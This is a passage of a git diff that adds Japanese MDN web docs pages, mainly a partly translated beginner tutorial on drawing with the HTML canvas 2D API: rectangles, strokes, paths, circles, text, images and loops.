API</a></li> + <li><a href="/ja/docs/Web/API/IndexedDB_API">IndexedDB API</a></li> + <li><a href="/ja/docs/Web/HTTP/Cookies">Cookies</a></li> + <li><a href="/ja/docs/Web/API/Service_Worker_API">Service worker API</a></li> +</ul> + +<p>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<div> +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Web API の紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">ドキュメントの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータ取得</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">サードパーティ API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">グラフィックの描画</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">動画と音声の API</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">クライアント側ストレージ</a></li> +</ul> +</div> diff --git a/files/ja/learn/javascript/client-side_web_apis/drawing_graphics/index.html b/files/ja/learn/javascript/client-side_web_apis/drawing_graphics/index.html new file mode 100644 index 0000000000..86c19aa6bb --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/drawing_graphics/index.html @@ -0,0 +1,879 @@ +--- +title: グラフィックの描画 +slug: Learn/JavaScript/Client-side_web_APIs/Drawing_graphics +tags: + - API + - Article + - Beginner + - Canvas + - CodingScripting + - Graphics + - JavaScript + - Learn + - WebGL +translation_of: Learn/JavaScript/Client-side_web_APIs/Drawing_graphics +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">ブラウザーには Scalable Vector Graphics (<a href="/ja/docs/Web/SVG">SVG</a>) 言語から、HTML {{htmlelement("canvas")}} 要素へ描画するための API (<a href="/ja/docs/Web/API/Canvas_API">The Canvas API</a> と <a href="/ja/docs/Web/API/WebGL_API">WebGL</a> を参照) まで、非常に強力なグラフィックプログラミングツールが含まれています。<br> + この記事では、canvas の概要とさらに詳細を学ぶためのリソースについて説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>JavaScript basics (see <a href="/ja/docs/Learn/JavaScript/First_steps">first steps</a>, <a href="/ja/docs/Learn/JavaScript/Building_blocks">building blocks</a>, <a href="/ja/docs/Learn/JavaScript/Objects">JavaScript objects</a>), the <a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">basics of Client-side APIs</a></td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>JavaScript を使用して <code><canvas></code> 要素に描画するための基本を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Graphics_on_the_Web" name="Graphics_on_the_Web">Webでのグラフィック</h2> + +<p>As we talked about in our HTML <a href="/ja/docs/Learn/HTML/Multimedia_and_embedding">Multimedia and embedding</a> module, the Web was originally just text, which was very boring, so images were introduced — first via the {{htmlelement("img")}} element and later via CSS properties such as {{cssxref("background-image")}}, and <a href="/ja/docs/Web/SVG">SVG</a>.</p> + +<p>This however was still not enough. While you could use <a href="/ja/docs/Learn/CSS">CSS</a> and <a href="/ja/docs/Learn/JavaScript">JavaScript</a> to animate (and otherwise manipulate) SVG vector images — as they are represented by markup — there was still no way to do the same for bitmap images, and the tools available were rather limited. The Web still had no way to effectively create animations, games, 3D scenes, and other requirements commonly handled by lower level languages such as C++ or Java.</p> + +<p>The situation started to improve when browsers began to support the {{htmlelement("canvas")}} element and associated <a href="/ja/docs/Web/API/Canvas_API">Canvas API</a> — Apple invented it in around 2004, and other browsers followed by implementing it in the years that followed. As you'll see below, canvas provides many useful tools for creating 2D animations, games, data visualizations, and other types of app, especially when combined with some of the other APIs the web platform provides.</p> + +<p>The below example shows a simple 2D canvas-based bouncing balls animation that we originally met in our <a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">Introducing JavaScript objects</a> module:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/bouncing-balls/index-finished.html", '100%', 500)}}</p> + +<p>Around 2006–2007, Mozilla started work on an experimental 3D canvas implementation. This became <a href="/ja/docs/Web/API/WebGL_API">WebGL</a>, which gained traction among browser vendors, and was standardized around 2009–2010. WebGL allows you to create real 3D graphics inside your web browser; the below example shows a simple rotating WebGL cube:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}</p> + +<p>This article will focus mainly on 2D canvas, as raw WebGL code is very complex. We will however show how to use a WebGL library to create a 3D scene more easily, and you can find a tutorial covering raw WebGL elsewhere — see <a href="/ja/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Getting started with WebGL</a>.</p> + +<div class="note"> +<p><strong>注</strong>: Basic canvas functionality is supported well across browsers, with the exception of IE 8 and below for 2D canvas, and IE 11 and below for WebGL.</p> +</div> + +<h2 id="Active_learning_Getting_started_with_a_<canvas>" name="Active_learning_Getting_started_with_a_<canvas>">アクティブラーニング: <canvas>を始めよう</h2> + +<p>If you want to create a 2D <em>or</em> 3D scene on a web page, you need to start with an HTML {{htmlelement("canvas")}} element. This element is used to define the area on the page into which the image will be drawn. This is as simple as including the element on the page:</p> + +<pre class="brush: html notranslate"><canvas width="320" height="240"></canvas></pre> + +<p>This will create a canvas on the page with a size of 320 by 240 pixels.</p> + +<p>Inside the canvas tags, you can put some fallback content, which is shown if the user's browser doesn't support canvas.</p> + +<pre class="brush: html notranslate"><canvas width="320" height="240"> + <p>Your browser doesn't support canvas. Boo hoo!</p> +</canvas></pre> + +<p>Of course, the above message is really unhelpful! In a real example you'd want to relate the fallback content to the canvas content. 例えば、if you were rendering a constantly updating graph of stock prices, the fallback content could be a static image of the latest stock graph, with alt text saying what the prices are in text.</p> + +<h3 id="Creating_and_sizing_our_canvas" name="Creating_and_sizing_our_canvas">canvasの作成とサイズ変更</h3> + +<p>Let's start by creating our own canvas that we draw future experiments on to.</p> + +<ol> + <li> + <p>First make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/0_canvas_start.html">0_canvas_start.html</a> file, and open it in your text editor.</p> + </li> + <li> + <p>Add the following code into it, just below the opening {{htmlelement("body")}} tag:</p> + + <pre class="brush: html notranslate"><canvas class="myCanvas"> + <p>Add suitable fallback here.</p> +</canvas></pre> + + <p>We have added a <code>class</code> to the <code><canvas></code> element so it will be easier to select if we have multiple canvases on the page, but we have removed the <code>width</code> and <code>height</code> attributes for now (you could add them back in if you wanted, but we will set them using JavaScript in a below section). Canvases with no explicit width and height default to 300 pixels wide by 150 pixels high.</p> + </li> + <li> + <p>Now add the following lines of JavaScript inside the {{htmlelement("script")}} element:</p> + + <pre class="brush: js notranslate">const canvas = document.querySelector('.myCanvas'); +const width = canvas.width = window.innerWidth; +const height = canvas.height = window.innerHeight;</pre> + + <p>Here we have stored a reference to the canvas in the <code>canvas</code> constant. In the second line we set both a new constant <code>width</code> and the canvas' <code>width</code> property equal to {{domxref("Window.innerWidth")}} (which gives us the viewport width). In the third line we set both a new constant <code>height</code> and the canvas' <code>height</code> property equal to {{domxref("Window.innerHeight")}} (which gives us the viewport height). So now we have a canvas that fills the entire width and height of the browser window!</p> + + <p>You'll also see that we are chaining assignments together with multiple equals signs — this is allowed in JavaScript, and it is a good technique if you want to make multiple variables all equal to the same value. We wanted to make the canvas width and height easily accessible in the width/height variables, as they are useful values to have available for later (例えば、if you want to draw something exactly halfway across the width of the canvas).</p> + </li> + <li> + <p>If you save and load your example in a browser now, you'll see nothing, which is fine, but you'll also see scrollbars — this is a problem for us, which happens because the {{htmlelement("body")}} element has a {{cssxref("margin")}} that, added to our full-window-size canvas, results in a document that's wider than the window. To get rid of the scrollbars, we need to remove the {{cssxref("margin")}} and also set {{cssxref("overflow")}} to <code>hidden</code>. Add the following into the {{htmlelement("head")}} of your document:</p> + + <pre class="brush: html notranslate"><style> + body { + margin: 0; + overflow: hidden; + } +</style></pre> + + <p>The scrollbars should now be gone.</p> + </li> +</ol> + +<div class="note"> +<p><strong>注</strong>: You should generally set the size of the image using HTML attributes or DOM properties, as explained above. You could use CSS, but the trouble then is that the sizing is done after the canvas has rendered, and just like any other image (the rendered canvas is just an image), the image could become pixellated/distorted.</p> +</div> + +<h3 id="Getting_the_canvas_context_and_final_setup" name="Getting_the_canvas_context_and_final_setup">canvasコンテキストと最終セットアップを取得する</h3> + +<p>We need to do one final thing before we can consider our canvas template finished. To draw onto the canvas we need to get a special reference to the drawing area called a context. This is done using the {{domxref("HTMLCanvasElement.getContext()")}} method, which for basic usage takes a single string as a parameter representing the type of context you want to retrieve.</p> + +<p>In this case we want a 2d canvas, so add the following JavaScript line below the others inside the <code><script></code> element:</p> + +<pre class="brush: js notranslate">const ctx = canvas.getContext('2d');</pre> + +<div class="note"> +<p><strong>注</strong>: other context values you could choose include <code>webgl</code> for WebGL, <code>webgl2</code> for WebGL 2, etc., but we won't need those in this article.</p> +</div> + +<p>So that's it — our canvas is now primed and ready for drawing on! The <code>ctx</code> variable now contains a {{domxref("CanvasRenderingContext2D")}} object, and all drawing operations on the canvas will involve manipulating this object.</p> + +<p>Let's do one last thing before we move on. We'll color the canvas background black to give you a first taste of the canvas API. Add the following lines at the bottom of your JavaScript:</p> + +<pre class="brush: js notranslate">ctx.fillStyle = 'rgb(0, 0, 0)'; +ctx.fillRect(0, 0, width, height);</pre> + +<p>Here we are setting a fill color using the canvas' {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} property (this takes <a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">color values</a> just like CSS properties do), then drawing a rectangle that covers the entire area of the canvas with the{{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} method (the first two parameters are the coordinates of the rectangle's top left hand corner; the last two are the width and height you want the rectangle drawn at — we told you those <code>width</code> and <code>height</code> variables would be useful)!</p> + +<p>OK, our template is done and it's time to move on.</p> + +<h2 id="2D_canvas_basics" name="2D_canvas_basics">2D canvas の基本</h2> + +<p>As we said above, all drawing operations are done by manipulating a {{domxref("CanvasRenderingContext2D")}} object (in our case, <code>ctx</code>). Many operations need to be given coordinates to pinpoint exactly where to draw something — the top left of the canvas is point (0, 0), the horizontal (x) axis runs from left to right, and the vertical (y) axis runs from top to bottom.</p> + +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="display: block; height: 220px; margin: 0px auto; width: 220px;"></p> + +<p>Drawing shapes tends to be done using the rectangle shape primitive, or by tracing a line along a certain path and then filling in the shape. Below we'll show how to do both.</p> + +<h3 id="Simple_rectangles" name="Simple_rectangles">簡単な矩形</h3> + +<p>Let's start with some simple rectangles.</p> + +<ol> + <li> + <p>First of all, take a copy of your newly coded canvas template (or make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a> if you didn't follow the above steps).</p> + </li> + <li> + <p>Next, add the following lines to the bottom of your JavaScript:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgb(255, 0, 0)'; +ctx.fillRect(50, 50, 100, 150);</pre> + + <p>If you save and refresh, you should see a red rectangle has appeared on your canvas. Its top left corner is 50 pixels away from the top and left of the canvas edge (as defined by the first two parameters), and it is 100 pixels wide and 150 pixels tall (as defined by the third and fourth parameters).</p> + </li> + <li> + <p>Let's add another rectangle into the mix — a green one this time. Add the following at the bottom of your JavaScript:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgb(0, 255, 0)'; +ctx.fillRect(75, 75, 100, 100);</pre> + + <p>Save and refresh, and you'll see your new rectangle. This raises an important point: graphics operations like drawing rectangles, lines, and so forth are performed in the order in which they occur. Think of it like painting a wall, where each coat of paint overlaps and may even hide what's underneath. You can't do anything to change this, so you have to think carefully about the order in which you draw the graphics.</p> + </li> + <li> + <p>Note that you can draw semi-transparent graphics by specifying a semi-transparent color, 例えば、by using <code>rgba()</code>. The <code>a</code> value defines what's called the "alpha channel, " or the amount of transparency the color has. The higher its value, the more it will obscure whatever's behind it. Add the following to your code:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgba(255, 0, 255, 0.75)'; +ctx.fillRect(25, 100, 175, 50);</pre> + </li> + <li> + <p>Now try drawing some more rectangles of your own; have fun!</p> + </li> +</ol> + +<h3 id="Strokes_and_line_widths" name="Strokes_and_line_widths">ストロークと線の幅</h3> + +<p>So far we've looked at drawing filled rectangles, but you can also draw rectangles that are just outlines (called <strong>strokes</strong> in graphic design). To set the color you want for your stroke, you use the {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}} property; drawing a stroke rectangle is done using {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect")}}.</p> + +<ol> + <li> + <p>Add the following to the previous example, again below the previous JavaScript lines:</p> + + <pre class="brush: js notranslate">ctx.strokeStyle = 'rgb(255, 255, 255)'; +ctx.strokeRect(25, 25, 175, 200);</pre> + </li> + <li> + <p>The default width of strokes is 1 pixel; you can adjust the {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}} property value to change this (it takes a number representing the number of pixels wide the stroke is). Add the following line in between the previous two lines:</p> + + <pre class="brush: js notranslate">ctx.lineWidth = 5;</pre> + </li> +</ol> + +<p>Now you should see that your white outline has become much thicker! That's it for now. At this point your example should look like this:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html", '100%', 250)}}</p> + +<div class="note"> +<p><strong>注</strong>: The finished code is available on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html">2_canvas_rectangles.html</a>.</p> +</div> + +<h3 id="Drawing_paths" name="Drawing_paths">パスの描画</h3> + +<p>If you want to draw anything more complex than a rectangle, you need to draw a path. Basically, this involves writing code to specify exactly what path the pen should move along on your canvas to trace the shape you want to draw. Canvas includes functions for drawing straight lines, circles, Bézier curves, and more.</p> + +<p>Let's start the section off by making a fresh copy of our canvas template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>), in which to draw the new example.</p> + +<p>We'll be using some common methods and properties across all of the below sections:</p> + +<ul> + <li>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} — start drawing a path at the point where the pen currently is on the canvas. On a new canvas, the pen starts out at (0, 0).</li> + <li>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} — move the pen to a different point on the canvas, without recording or tracing the line; the pen simply "jumps" to the new position.</li> + <li>{{domxref("CanvasRenderingContext2D.fill", "fill()")}} — draw a filled shape by filling in the path you've traced so far.</li> + <li>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} — draw an outline shape by drawing a stroke along the path you've drawn so far.</li> + <li>You can also use features like <code>lineWidth</code> and <code>fillStyle</code>/<code>strokeStyle</code> with paths as well as rectangles.</li> +</ul> + +<p>A typical, simple path-drawing operation would look something like so:</p> + +<pre class="brush: js notranslate">ctx.fillStyle = 'rgb(255, 0, 0)'; +ctx.beginPath(); +ctx.moveTo(50, 50); +// draw your path +ctx.fill();</pre> + +<h4 id="Drawing_lines" name="Drawing_lines">線を描く</h4> + +<p>Let's draw an equilateral triangle on the canvas.</p> + +<ol> + <li> + <p>First of all, add the following helper function to the bottom of your code. This converts degree values to radians, which is useful because whenever you need to provide an angle value in JavaScript, it will nearly always be in radians, but humans usually think in degrees.</p> + + <pre class="brush: js notranslate">function degToRad(degrees) { + return degrees * Math.PI / 180; +};</pre> + </li> + <li> + <p>Next, start off your path by adding the following below your previous addition; here we set a color for our triangle, start drawing a path, and then move the pen to (50, 50) without drawing anything. That's where we'll start drawing our triangle.</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgb(255, 0, 0)'; +ctx.beginPath(); +ctx.moveTo(50, 50);</pre> + </li> + <li> + <p>Now add the following lines at the bottom of your script:</p> + + <pre class="brush: js notranslate">ctx.lineTo(150, 50); +let triHeight = 50 * Math.tan(degToRad(60)); +ctx.lineTo(100, 50+triHeight); +ctx.lineTo(50, 50); +ctx.fill();</pre> + + <p>Let's run through this in order:</p> + + <p>First we draw a line across to (150, 50) — our path now goes 100 pixels to the right along the x axis.</p> + + <p>Second, we work out the height of our equalateral triangle, using a bit of simple trigonometry. Basically, we are drawing the triangle pointing downwards. The angles in an equalateral triangle are always 60 degrees; to work out the height we can split it down the middle into two right-angled triangles, which will each have angles of 90 degrees, 60 degrees, and 30 degrees. In terms of the sides:</p> + + <ul> + <li>The longest side is called the <strong>hypotenuse</strong></li> + <li>The side next to the 60 degree angle is called the <strong>adjacent</strong> — which we know is 50 pixels, as it is half of the line we just drew.</li> + <li>The side opposite the 60 degree angle is called the <strong>opposite</strong>, which is the height of the triangle we want to calculate.</li> + </ul> + + <p><img alt="" src="https://mdn.mozillademos.org/files/14829/trigonometry.png" style="display: block; margin: 0 auto;"></p> + + <p>One of the basic trigonometric formulae states that the length of the adjacent multiplied by the tangent of the angle is equal to the opposite, hence we come up with <code>50 * Math.tan(degToRad(60))</code>. We use our <code>degToRad()</code> function to convert 60 degrees to radians, as {{jsxref("Math.tan()")}} expects an input value in radians.</p> + </li> + <li> + <p>With the height calculated, we draw another line to <code>(100, 50 + triHeight)</code>. The X coordinate is simple; it must be halfway between the previous two X values we set. The Y value on the other hand must be 50 plus the triangle height, as we know the top of the triangle is 50 pixels from the top of the canvas.</p> + </li> + <li> + <p>The next line draws a line back to the starting point of the triangle.</p> + </li> + <li> + <p>Last of all, we run <code>ctx.fill()</code> to end the path and fill in the shape.</p> + </li> +</ol> + +<h4 id="Drawing_circles" name="Drawing_circles">円を描く</h4> + +<p>Now let's look at how to draw a circle in canvas. This is accomplished using the {{domxref("CanvasRenderingContext2D.arc", "arc()")}} method, which draws all or part of a circle at a specified point.</p> + +<ol> + <li> + <p>Let's add an arc to our canvas — add the following to the bottom of your code:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgb(0, 0, 255)'; +ctx.beginPath(); +ctx.arc(150, 106, 50, degToRad(0), degToRad(360), false); +ctx.fill();</pre> + + <p><code>arc()</code> takes six parameters. The first two specify the position of the arc's center (X and Y, respectively). The third is the circle's radius, the fourth and fifth are the start and end angles at which to draw the circle (so specifying 0 and 360 degrees gives us a full circle), and the sixth parameter defines whether the circle should be drawn counterclockwise (anticlockwise) or clockwise (<code>false</code> is clockwise).</p> + + <div class="note"> + <p><strong>注</strong>: 0 degrees is horizontally to the right.</p> + </div> + </li> + <li> + <p>Let's try adding another arc:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'yellow'; +ctx.beginPath(); +ctx.arc(200, 106, 50, degToRad(-45), degToRad(45), true); +ctx.lineTo(200, 106); +ctx.fill();</pre> + + <p>The pattern here is very similar, but with two differences:</p> + + <ul> + <li>We have set the last parameter of <code>arc()</code> to <code>true</code>, meaning that the arc is drawn counterclockwise, which means that even though the arc is specified as starting at -45 degrees and ending at 45 degrees, we draw the arc around the 270 degrees not inside this portion. If you were to change <code>true</code> to <code>false</code> and then re-run the code, only the 90 degree slice of the circle would be drawn.</li> + <li>Before calling <code>fill()</code>, we draw a line to the center of the circle. This means that we get the rather nice Pac-Man-style cutout rendered. If you removed this line (try it!) then re-ran the code, you'd get just an edge of the circle chopped off between the start and end point of the arc. This illustrates another important point of the canvas — if you try to fill an incomplete path (i.e. one that is not closed), the browser fills in a straight line between the start and end point and then fills it in.</li> + </ul> + </li> +</ol> + +<p>That's it for now; your final example should look like this:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html", '100%', 200)}}</p> + +<div class="note"> +<p><strong>注</strong>: The finished code is available on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html">3_canvas_paths.html</a>.</p> +</div> + +<div class="note"> +<p><strong>注</strong>: To find out more about advanced path drawing features such as Bézier curves, check out our <a href="/ja/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes">Drawing shapes with canvas</a> tutorial.</p> +</div> + +<h3 id="Text" name="Text">テキスト</h3> + +<p>Canvas also has features for drawing text. Let's explore these briefly. Start by making another fresh copy of our canvas template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>) in which to draw the new example.</p> + +<p>Text is drawn using two methods:</p> + +<ul> + <li>{{domxref("CanvasRenderingContext2D.fillText", "fillText()")}} — draws filled text.</li> + <li>{{domxref("CanvasRenderingContext2D.strokeText", "strokeText()")}} — draws outline (stroke) text.</li> +</ul> + +<p>Both of these take three properties in their basic usage: the text string to draw and the X and Y coordinates of the point to start drawing the text at. This works out as the <strong>bottom left</strong> corner of the <strong>text box</strong> (literally, the box surrounding the text you draw), which might confuse you as other drawing operations tend to start from the top left corner — bear this in mind.</p> + +<p>There are also a number of properties to help control text rendering such as {{domxref("CanvasRenderingContext2D.font", "font")}}, which lets you specify font family, size, etc. It takes as its value the same syntax as the CSS {{cssxref("font")}} property.</p> + +<p>Try adding the following block to the bottom of your JavaScript:</p> + +<pre class="brush: js notranslate">ctx.strokeStyle = 'white'; +ctx.lineWidth = 1; +ctx.font = '36px arial'; +ctx.strokeText('Canvas text', 50, 50); + +ctx.fillStyle = 'red'; +ctx.font = '48px georgia'; +ctx.fillText('Canvas text', 50, 150);</pre> + +<p>Here we draw two lines of text, one outline and the other stroke. The final example should look like so:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html", '100%', 180)}}</p> + +<div class="note"> +<p><strong>注</strong>: The finished code is available on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html">4_canvas_text.html</a>.</p> +</div> + +<p>Have a play and see what you can come up with! You can find more information on the options available for canvas text at <a href="/ja/docs/Web/API/Canvas_API/Tutorial/Drawing_text">Drawing text</a>.</p> + +<h3 id="Drawing_images_onto_canvas" name="Drawing_images_onto_canvas">canvasに画像を描画する</h3> + +<p>It is possible to render external images onto your canvas. These can be simple images, frames from videos, or the content of other canvases. For the moment we'll just look at the case of using some simple images on our canvas.</p> + +<ol> + <li> + <p>As before, make another fresh copy of our canvas template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>) in which to draw the new example. In this case you'll also need to save a copy of our sample image — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/firefox.png">firefox.png</a> — in the same directory.</p> + + <p>Images are drawn onto canvas using the {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} method. The simplest version takes three parameters — a reference to the image you want to render, and the X and Y coordinates of the image's top left corner.</p> + </li> + <li> + <p>Let's start by getting an image source to embed in our canvas. Add the following lines to the bottom of your JavaScript:</p> + + <pre class="brush: js notranslate">let image = new Image(); +image.src = 'firefox.png';</pre> + + <p>Here we create a new {{domxref("HTMLImageElement")}} object using the {{domxref("HTMLImageElement.Image()", "Image()")}} constructor. The returned object is the same type as that which is returned when you grab a reference to an existing {{htmlelement("img")}} element). We then set its {{htmlattrxref("src", "img")}} attribute to equal our Firefox logo image. At this point, the browser starts loading the image.</p> + </li> + <li> + <p>We could now try to embed the image using <code>drawImage()</code>, but we need to make sure the image file has been loaded first, otherwise the code will fail. We can achieve this using the <code>onload</code> event handler, which will only be invoked when the image has finished loading. Add the following block below the previous one:</p> + + <pre class="brush: js notranslate">image.onload = function() { + ctx.drawImage(image, 50, 50); +}</pre> + + <p>If you load your example in the browser now, you should see the image embeded in the canvas.</p> + </li> + <li> + <p>But there's more! What if we want to display only a part of the image, or to resize it? We can do both with the more complex version of <code>drawImage()</code>. Update your <code>ctx.drawImage()</code> line like so:</p> + + <pre class="brush: js notranslate">ctx.drawImage(image, 20, 20, 185, 175, 50, 50, 185, 175);</pre> + + <ul> + <li>The first parameter is the image reference, as before.</li> + <li>Parameters 2 and 3 define the coordinates of the top left corner of the area you want to cut out of the loaded image, relative to the top-left corner of the image itself. Nothing to the left of the first parameter or above the second will be drawn.</li> + <li>Parameters 4 and 5 define the width and height of the area we want to cut out from the original image we loaded.</li> + <li>Parameters 6 and 7 define the coordinates at which you want to draw the top-left corner of the cut-out portion of the image, relative to the top-left corner of the canvas.</li> + <li>Parameters 8 and 9 define the width and height to draw the cut-out area of the image. In this case, we have specified the same dimensions as the original slice, but you could resize it by specifying different values.</li> + </ul> + </li> +</ol> + +<p>The final example should look like so:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html", '100%', 260)}}</p> + +<div class="note"> +<p><strong>注</strong>: The finished code is available on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html">5_canvas_images.html</a>.</p> +</div> + +<h2 id="Loops_and_animations" name="Loops_and_animations">ループとアニメーション</h2> + +<p>We have so far covered some very basic uses of 2D canvas, but really you won't experience the full power of canvas unless you update or animate it in some way. After all, canvas does provide scriptable images! If you aren't going to change anything, then you might as well just use static images and save yourself all the work.</p> + +<h3 id="Creating_a_loop" name="Creating_a_loop">ループの作成</h3> + +<p>Playing with loops in canvas is rather fun — you can run canvas commands inside a <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/for">for</a></code> (or other type of) loop just like any other JavaScript code.</p> + +<p>Let's build a simple example.</p> + +<ol> + <li> + <p>Make another fresh copy of our canvas template (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>) and open it in your code editor.</p> + </li> + <li> + <p>Add the following line to the bottom of your JavaScript. This contains a new method, {{domxref("CanvasRenderingContext2D.translate", "translate()")}}, which moves the origin point of the canvas:</p> + + <pre class="brush: js notranslate">ctx.translate(width/2, height/2);</pre> + + <p>This causes the coordinate origin (0, 0) to be moved to the center of the canvas, rather than being at the top left corner. This is very useful in many situations, like this one, where we want our design to be drawn relative to the center of the canvas.</p> + </li> + <li> + <p>Now add the following code to the bottom of the JavaScript:</p> + + <pre class="brush: js notranslate">function degToRad(degrees) { + return degrees * Math.PI / 180; +}; + +function rand(min, max) { + return Math.floor(Math.random() * (max-min+1)) + (min); +} + +let length = 250; +let moveOffset = 20; + +for(var i = 0; i < length; i++) { + +}</pre> + + <p>Here we are implementing the same <code>degToRad()</code> function we saw in the triangle example above, a <code>rand()</code> function that returns a random number between given lower and upper bounds, <code>length</code> and <code>moveOffset</code> variables (which we'll find out more about later), and an empty <code>for</code> loop.</p> + </li> + <li> + <p>The idea here is that we'll draw something on the canvas inside the <code>for</code> loop, and iterate on it each time so we can create something interesting. Add the following code inside your <code>for</code> loop:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgba(' + (255-length) + ', 0, ' + (255-length) + ', 0.9)'; +ctx.beginPath(); +ctx.moveTo(moveOffset, moveOffset); +ctx.lineTo(moveOffset+length, moveOffset); +let triHeight = length/2 * Math.tan(degToRad(60)); +ctx.lineTo(moveOffset+(length/2), moveOffset+triHeight); +ctx.lineTo(moveOffset, moveOffset); +ctx.fill(); + +length--; +moveOffset += 0.7; +ctx.rotate(degToRad(5));</pre> + + <p>So on each iteration, we:</p> + + <ul> + <li>Set the <code>fillStyle</code> to be a shade of slightly transparent purple, which changes each time based on the value of <code>length</code>. As you'll see later the length gets smaller each time the loop runs, so the effect here is that the color gets brighter with each successive triangle drawn.</li> + <li>Begin the path.</li> + <li>Move the pen to a coordinate of <code>(moveOffset, moveOffset)</code>; This variable defines how far we want to move each time we draw a new triangle.</li> + <li>Draw a line to a coordinate of <code>(moveOffset+length, moveOffset)</code>. This draws a line of length <code>length</code> parallel to the X axis.</li> + <li>Calculate the triangle's height, as before.</li> + <li>Draw a line to the downward-pointing corner of the triangle, then draw a line back to the start of the triangle.</li> + <li>Call <code>fill()</code> to fill in the triangle.</li> + <li>Update the variables that describe the sequence of triangles, so we can be ready to draw the next one. We decrease the <code>length</code> value by 1, so the triangles get smaller each time; increase <code>moveOffset</code> by a small amount so each successive triangle is slightly further away, and use another new function, {{domxref("CanvasRenderingContext2D.rotate", "rotate()")}}, which allows us to rotate the entire canvas! We rotate it by 5 degrees before drawing the next triangle.</li> + </ul> + </li> +</ol> + +<p>That's it! The final example should look like so:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html", '100%', 550)}}</p> + +<p>At this point, we'd like to encourage you to play with the example and make it your own! 例えば、:</p> + +<ul> + <li>Draw rectangles or arcs instead of triangles, or even embed images.</li> + <li>Play with the <code>length</code> and <code>moveOffset</code> values.</li> + <li>Introduce some random numbers using that <code>rand()</code> function we included above but didn't use.</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: The finished code is available on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html">6_canvas_for_loop.html</a>.</p> +</div> + +<h3 id="Animations" name="Animations">アニメーション</h3> + +<p>The loop example we built above was fun, but really you need a constant loop that keeps going and going for any serious canvas applications (such as games and real time visualizations). If you think of 